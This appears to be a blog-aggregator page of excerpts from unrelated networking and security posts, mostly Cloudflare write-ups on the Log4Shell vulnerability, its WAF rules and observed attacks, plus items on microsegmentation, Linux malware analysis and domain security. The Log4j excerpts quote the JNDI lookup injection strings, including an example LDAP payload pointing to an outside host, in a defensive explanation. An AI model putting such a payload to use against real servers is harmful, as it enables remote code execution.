With the world at our fingertips via a simple Google search, it can sometimes be tough to figure out what’s fact and what’s fiction. Whether you’re an expert, novice, or beginner in the tech world, time should be spent putting capabilities and terms into action – rather than trying to piece them together and understand them like a Sudoku puzzle. That’s why we’re going to debunk six major East-West security myths for you – so you can get back to the good stuff.
Busted. East-West security does all of the fancy stuff mentioned, with one very important difference: it moves laterally through the network perimeter. This is a key understanding, since East-West security operates on the premise that threat factors will eventually find a way through next-generation firewalls – which means all internal network traffic is vulnerable.
Busted. While it’s important to have North-South security in place (filtering the traffic that is exiting and entering the network), it cannot protect the network on its own Continue reading
For those of you that use CyberFlood I want to talk about something very specific today. The “Traffic Mix” tab and the “Security Mix” tab when running a CyberFlood test. When I was playing with CyberFlood in my little “Stealthwatch... Read More ›
The post CyberFlood: The Security Mix Tab appeared first on Networking with FISH.
While I liked reading the Where to Stick the Firewall blog post by Peter Welcher, it bothered me a bit that he used microsegmentation to mean security groups.
I know that microsegmentation became approximately as well-defined as cloud or SDN1, but let’s aim our shiny lance 2 at the nearest windmill and gallop away…
As the year comes to a close, I often reflect and make predictions about what’s to come in the next. I’ve written end-of-year predictions posts in the past, but this is my first one at Cloudflare. I joined as Field CTO in September and currently enjoy the benefit of a long history in the Internet industry with fresh eyes regarding Cloudflare. I’m excited to share a few of my thoughts as we head into the new year. Let’s go!
“Never make predictions, especially about the future.”
— Casey Stengel
Over the last few years, 5G networks have begun to roll out gradually worldwide. When carriers bombard us with holiday ads touting their new 5G networks, it can be hard to separate hype from reality. But 5G technology is real, and the promise for end-users is vastly more wireless bandwidth and lower network latency. Better network performance will make websites, business applications, video streaming, online games, and emerging technologies like AR/VR all perform better.
The trend of flexible work will also likely increase the adoption of 5G mobile and fixed wireless broadband. Device makers will ship countless new products with embedded 5G in the coming Continue reading
As targeting data centers, which mainly run workloads on Linux, has proven to be a very lucrative target for cyber criminals, Linux malware has become increasingly prevalent. Although still an emerging threat that’s somewhat less complex than its Windows counterpart, analysis of Linux malware remains challenging due to lack of analysis tools in the Linux world.
Luckily, both the Linux kernel and the Linux ecosystem provide a set of capabilities and tools that, when combined, potentially allow for the creation of malware analysis frameworks as powerful as those available on Windows.
This blog details what can be achieved by leveraging tools and an analysis pipeline specifically tailored for Linux, and introduces our Distributed Analysis for Research and Threat Hunting
(DARTH) framework. We provide a high-level overview of the framework, including core components and modules, as well as the design requirements that have led our research efforts in this area. We then discuss Tracer, a dynamic analysis module used in DARTH to collect various behaviors during malware execution in a controlled environment.
As part of our research, we often find ourselves running new types of analysis on large collections of malicious samples; building a scalable Continue reading
Perimeter-only security controls are just not sufficient to address sophisticated attacks on mission-critical infrastructure. VMware NSX pioneered the “micro-segmentation” approach, in which granular security controls enable Zero-Trust Security. With micro-segmentation, each individual workload inside the network receives unprecedented protection from attacks originating from both external as well as internal threat actors. One of the primary reasons for NSX’s instant success in the industry was the fact that deploying Zero-Trust security across the infrastructure is quite easy and effectively mitigates malicious lateral movement with L4 and L7 Application controls. With the NSX 3.2 release, we are further simplifying the NSX Security deployment experience.
This blog captures why deploying NSX for micro-segmentation is already a simple experience, and how NSX 3.2 further simplifies that experience. Specifically, the following two key capabilities will be covered:
From the initial days of VMware NSX, we strongly believed that achieving micro-segmentation should not come at the cost of complexity.
If you ask our customers, this is why they love NSX:
Hot on the heels of CVE-2021-44228 a second Log4J CVE has been filed CVE-2021-45046. The rules that we previously released for CVE-2021-44228 give the same level of protection for this new CVE.
This vulnerability is actively being exploited and anyone using Log4J should update to version 2.16.0 as soon as possible, even if you have previously updated to 2.15.0. The latest version can be found on the Log4J download page.
Customers using the Cloudflare WAF have three rules to help mitigate any exploit attempts:
Rule ID | Description | Default Action |
---|---|---|
100514 (legacy WAF)6b1cc72dff9746469d4695a474430f12 (new WAF) |
Log4J Headers | BLOCK |
100515 (legacy WAF)0c054d4e4dd5455c9ff8f01efe5abb10 (new WAF) |
Log4J Body | BLOCK |
100516 (legacy WAF)5f6744fa026a4638bda5b3d7d5e015dd (new WAF) |
Log4J URL | BLOCK |
The mitigation has been split across three rules inspecting HTTP headers, body and URL respectively.
In addition to the above rules we have also released a fourth rule that will protect against a much wider range of attacks at the cost of a higher false positive rate. For that reason we have made it available but not set it to BLOCK
by default:
Rule ID | Description | Default Action |
---|---|---|
100517 (legacy WAF)2c5413e155db4365befe0df160ba67d7 (new WAF) |
Log4J Advanced URI, Headers | DISABLED |
Recently, we received a bug bounty report regarding the GPG signing key used for pkg.cloudflareclient.com, the Linux package repository for our Cloudflare WARP products. The report stated that this private key had been exposed. We’ve since rotated this key and we are taking steps to ensure a similar problem can’t happen again. Before you read on, if you are a Linux user of Cloudflare WARP, please follow these instructions to rotate the Cloudflare GPG Public Key trusted by your package manager. This only affects WARP users who have installed WARP on Linux. It does not affect Cloudflare customers of any of our other products or WARP users on mobile devices.
But we also realized that the impact of an improperly secured private key can have consequences that extend beyond the scope of one third-party repository. The remainder of this blog shows how to improve the security of apt with third-party repositories.
At first, we thought that the exposed signing key could only be used by an attacker to forge packages distributed through our package repository. However, when reviewing impact for Debian and Ubuntu platforms we found that our instructions were outdated and insecure. In fact, Continue reading
In this blog post we will cover WAF evasion patterns and exfiltration attempts seen in the wild, trend data on attempted exploitation, and information on exploitation that we saw prior to the public disclosure of CVE-2021-44228.
In short, we saw limited testing of the vulnerability on December 1, eight days before public disclosure. We saw the first attempt to exploit the vulnerability just nine minutes after public disclosure showing just how fast attackers exploit newly found problems.
We also see mass attempts to evade WAFs that have tried to perform simple blocking, we see mass attempts to exfiltrate data including secret credentials and passwords.
Since the disclosure of CVE-2021-44228 (now commonly referred to as Log4Shell) we have seen attackers go from using simple attack strings to actively trying to evade blocking by WAFs. WAFs provide a useful tool for stopping external attackers and WAF evasion is commonly attempted to get past simplistic rules.
In the earliest stages of exploitation of the Log4j vulnerability attackers were using un-obfuscated strings typically starting with ${jndi:dns, ${jndi:rmi
and ${jndi:ldap
and simple rules to look for those patterns were effective.
Quickly after those strings were being blocked and attackers Continue reading
On December 9, 2021, the world learned about CVE-2021-44228, a zero-day exploit affecting the Apache Log4j utility. Cloudflare immediately updated our WAF to help protect against this vulnerability, but we recommend customers update their systems as quickly as possible.
However, we know that many Cloudflare customers consume their logs using software that uses Log4j, so we are also mitigating any exploits attempted via Cloudflare Logs. As of this writing, we are seeing the exploit pattern in logs we send to customers up to 1000 times every second.
Starting immediately, customers can update their Logpush jobs to automatically redact tokens that could trigger this vulnerability. You can read more about this in our developer docs or see details below.
You can read more about how the Log4j vulnerability works in our blog post here. In short, an attacker can add something like ${jndi:ldap://example.com/a}
in any string. Log4j will then make a connection on the Internet to retrieve this object.
Cloudflare Logs contain many string fields that are controlled by end-users on the public Internet, such as User Agent and URL path. With this vulnerability, it is possible that a malicious user can cause a remote Continue reading
Cloudflare’s products and services are protecting more customers than ever with significant expansion over the past year. Earlier this week, we launched Cloudflare Security Center so customers can map their attack surface, review potential security risks and threats to their organization, and have generally fast tracked many offerings to meet the needs of customers.
This rapid expansion has meant ensuring our security, privacy, and risk posture grew accordingly. Customer confidence in our ability to handle their sensitive information in an ever-changing regulatory landscape has to be as solid as our offerings, so we have expanded the scope of our previously-existing compliance validations; not only that, we’ve also managed to obtain a couple of new ones.
We’ve had a busy year and focused on our commitment to privacy as well as complying to one of the most rigorous security standards in the industry. We are excited about the following achievements in 2021:
FedRAMP In Process - Cloudflare hit a major milestone by being listed on the FedRAMP Marketplace as ‘In Process’ for receiving an agency authorization at a moderate baseline. Once an Authorization to Operate (ATO) is granted, it will allow agencies and other cloud service providers to leverage Continue reading
The vulnerability disclosed yesterday in the Java-based logging package, log4j, allows attackers to execute code on a remote server. We’ve updated Cloudflare’s WAF to defend your infrastructure against this 0-day attack. The attack also relies on exploiting servers that are allowed unfettered connectivity to the public Internet. To help solve that challenge, your team can deploy Cloudflare One today to filter and log how your infrastructure connects to any destination.
You can read about the vulnerability in more detail in our analysis published earlier today, but the attack starts when an attacker adds a specific string to input that the server logs. Today’s updates to Cloudflare’s WAF block that malicious string from being sent to your servers. We still strongly recommend that you patch your instances of log4j immediately to prevent lateral movement.
If the string has already been logged, the vulnerability compromises servers by tricking them into sending a request to a malicious LDAP server. The destination of the malicious server could be any arbitrary URL. Attackers who control that URL can then respond to the request with arbitrary code that the server can execute.
At the time of this blog, it Continue reading
I wrote earlier about how to mitigate CVE-2021-44228 in Log4j, how the vulnerability came about and Cloudflare’s mitigations for our customers. As I write we are rolling out protection for our FREE customers as well because of the vulnerability’s severity.
As we now have many hours of data on scanning and attempted exploitation of the vulnerability we can start to look at actual payloads being used in wild and statistics. Let’s begin with requests that Cloudflare is blocking through our WAF.
We saw a slow ramp up in blocked attacks this morning (times here are UTC) with the largest peak at around 1800 (roughly 20,000 blocked exploit requests per minute). But scanning has been continuous throughout the day. We expect this to continue.
We also took a look at the number of IP addresses that the WAF was blocking. Somewhere between 200 and 400 IPs appear to be actively scanning at any given time.
So far today the largest number of scans or exploitation attempts have come from Canada and then the United States.
Lots of the blocked requests appear to be in the form of reconnaissance to see if a server is actually exploitable. The top blocked exploit string Continue reading
Yesterday, December 9, 2021, a very serious vulnerability in the popular Java-based logging package Log4j was disclosed. This vulnerability allows an attacker to execute code on a remote server; a so-called Remote Code Execution (RCE). Because of the widespread use of Java and log4j this is likely one of the most serious vulnerabilities on the Internet since both Heartbleed and ShellShock.
It is CVE-2021-44228 and affects version 2 of log4j between versions 2.0-beta-9 and 2.14.1. It is not present in version 1 of log4j and is patched in 2.15.0.
In this post we explain the history of this vulnerability, how it was introduced, how Cloudflare is protecting our clients. Details of actual attempted exploitation we are seeing blocked by our firewall service are in a separate blog post.
Cloudflare uses some Java-based software and our teams worked to ensure that our systems were not vulnerable or that this vulnerability was mitigated. In parallel, we rolled out firewall rules to protect our customers.
But, if you work for a company that is using Java-based software that uses log4j you should immediately read the section on how to mitigate and protect your systems before reading the rest.
Everything on the web starts with a domain name. It is the foundation on which a company’s online presence is built. If that foundation is compromised, the damage can be immense.
As part of CIO Week, we looked at all the biggest risks that companies continue to face online, and how we could address them. The compromise of a domain name remains one of the greatest. There are many ways in which a domain may be hijacked or otherwise compromised, all the way up to the most serious: losing control of your domain name altogether.
You don’t want it to happen to you. Imagine not just losing your website, but all your company’s email, a myriad of systems tied to your corporate domain, and who knows what else. Having an attacker compromise your corporate domain is the stuff of nightmares for every CIO. And, if you’re a CIO and it’s not something you’re worrying about, know that we literally surveyed every other domain registrar and were so unsatisfied with their security practices we needed to launch our own.
But, now that we have, we want to make domain compromise something that should never, ever happen again. For that reason, we’re Continue reading
A zero-day exploit affecting the popular Apache Log4j utility (CVE-2021-44228) was made public on December 9, 2021 that results in remote code execution (RCE).
This vulnerability is actively being exploited and anyone using Log4j should update to version 2.15.0 as soon as possible. The latest version can already be found on the Log4j download page.
If updating to the latest version is not possible, customers can also mitigate exploit attempts by setting the system property "log4j2.formatMsgNoLookups
" to “true
”; or by removing the JndiLookup class from the classpath. Java release 8u121 also protects against this remote code execution vector.
Customers using the Cloudflare WAF can also leverage three newly deployed rules to help mitigate any exploit attempts:
Rule ID | Description | Default Action |
---|---|---|
100514 (legacy WAF)6b1cc72dff9746469d4695a474430f12 (new WAF) |
Log4j Headers | BLOCK |
100515 (legacy WAF)0c054d4e4dd5455c9ff8f01efe5abb10 (new WAF) |
Log4j Body | LOG |
100516 (legacy WAF)5f6744fa026a4638bda5b3d7d5e015dd (new WAF) |
Log4j URL | LOG |
The mitigation has been split across three rules inspecting HTTP headers, body and URL respectively.
Due to the risk of false positives, customers should immediately review Firewall Event logs and switch the Log4j Body and URL rules to BLOCK if none are found. Continue reading